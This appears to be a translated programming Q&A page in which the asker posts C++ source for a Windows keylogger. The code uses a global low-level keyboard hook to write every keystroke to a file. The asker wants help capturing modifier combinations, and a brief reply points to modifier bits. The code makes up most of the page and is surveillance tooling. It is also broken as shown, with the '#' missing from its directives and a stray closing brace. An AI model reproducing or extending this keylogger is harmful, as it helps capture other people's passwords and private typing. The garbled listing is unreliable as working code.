如何制作键盘记录程序

How to make a keylogger?

本文关键字:程序 记录 键盘 何制作      更新时间:2023-10-16

我已经用C代码做了一些键盘记录:

define _WIN32_WINNT 0x0500
include<fstream>
include<windows.h>
using namespace std;
ofstream out("keys.txt", ios::out);
LRESULT CALLBACK keyboardHookProc(int nCode, WPARAM wParam, LPARAM lParam) {
PKBDLLHOOKSTRUCT p = (PKBDLLHOOKSTRUCT) (lParam);
// si la tecla es presionada
if (wParam == WM_KEYDOWN) {
    switch (p->vkCode) {
        // teclas invisibles
        case VK_CAPITAL:    out << "<CAPLOCK>";     break;
        case VK_LSHIFT:     out << "<LSHIFT>";      break;
        case VK_RSHIFT:     out << "<RSHIFT>";      break;  
        case VK_LCONTROL:   out << "<LCTRL>";       break;
        case VK_RCONTROL:   out << "<RCTRL>";       break;
        case VK_LMENU:      out << "<LEFT MENU>";   break;  
        case VK_INSERT:     out << "<INSERT>";      break;
        case VK_END:        out << "<END>";         break;
        case VK_PRINT:      out << "<PRINT>";       break;
        case VK_DELETE:     out << "<DEL>";         break;
        case VK_LEFT:       out << "<LEFT>";        break;
        case VK_RIGHT:      out << "<RIGHT>";       break;
        case VK_UP:         out << "<UP>";          break;
        case VK_DOWN:       out << "<DOWN>";        break;
        case VK_BACK:       out << "<BACKSPACE>";   break;
        case VK_TAB:        out << "<TAB>";         break;  
        case VK_RETURN:     out << "<ENTER>";       break;
        case VK_PAUSE:      out << "<PAUSE>";       break;
        case VK_MENU:       out << "<ALT>";         break;  
        case VK_ESCAPE:     out << "<ESC>";         break;
        case VK_SPACE:      out << "< >";           break;
        case VK_PRIOR:      out << "<PAGE UP>";     break;
        case VK_NEXT:       out << "<PAGE DOWN>";   break;
        case VK_HOME:       out << "<HOME>";        break;  
        case VK_SELECT:     out << "<SELECT>";      break;
        case VK_EXECUTE:    out << "<EXECUTE>";     break;
        case VK_SNAPSHOT:   out << "<SNAPSHOT>";    break;
        case VK_HELP:       out << "<HELP>";        break;
        case VK_F1:         out << "<F1>";          break; 
        case VK_F2:         out << "<F2>";          break;    
        case VK_F3:         out << "<F3>";          break;  
        case VK_F4:         out << "<F4>";          break;  
        case VK_F5:         out << "<F5>";          break;  
        case VK_F6:         out << "<F6>";          break;  
        case VK_F7:         out << "<F7>";          break;  
        case VK_F8:         out << "<F8>";          break;  
        case VK_F9:         out << "<F9>";          break;  
        case VK_F10:        out << "<F10>";         break;  
        case VK_F11:        out << "<F11>";         break;  
        case VK_F12:        out << "<F12>";         break;  
        case 93:            out << "<CONTEXT MENU>"; break;
        //fin de las teclas invisibles
        default:
            out << char(tolower(p->vkCode));
    }
}
return CallNextHookEx(NULL, nCode, wParam, lParam);
}
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, int nShowCmd) {
    // Set windows hook
    HHOOK keyboardHook = SetWindowsHookEx(
        WH_KEYBOARD_LL,
        keyboardHookProc,
        hInstance,
        0);
    MessageBox(NULL, "Presione Aceptar para dejar de Registrar.", "Información", MB_OK);
    out.close();
    return 0;
}
}

这段代码只注册了我已经定义的一堆键,但它没有捕获复合键,例如"@"符号的alt+e、shift+8或ctrl+alt+2。

我做了一些研究,发现了一个名为RegisterHotKey的函数,但我不知道如何在上面的代码中使用它。如何修复我的代码以注册所有键,包括键的组合?

您不需要RegisterHotKey()。如果查看WM_KEYDOWN的文档,可以看到有一些位指示是否按下了Alt、Shift和Ctrl键。使用它们。